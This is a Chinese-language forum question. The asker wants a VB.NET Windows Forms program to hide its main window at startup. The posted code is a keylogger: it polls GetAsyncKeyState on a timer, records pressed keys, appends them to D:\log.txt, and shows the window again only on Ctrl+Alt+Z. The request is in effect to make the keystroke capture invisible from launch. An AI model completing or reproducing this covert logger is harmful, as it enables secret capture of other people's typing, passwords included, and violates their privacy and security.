我试图在启动时隐藏主窗体,但由于某种原因我没有这样做。在下面的代码中,我创建了一个隐藏表单的按钮,但我想在加载时隐藏表单。请帮帮我。提前致谢。
Option Strict On
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
tbLog.Text = tbLog.Text + Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text = key
Else
tbLog.Text = key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
Me.Show()
End If
End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub
Private msg As String = ""
Private Sub timerSave_Tick() Handles timerSave.Tick
My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
tbLog.Clear()
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
timerSave_Tick()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = " Started at :" & Now & vbNewLine
End Sub
Public Sub store(ByVal s As String)
End Sub
End Class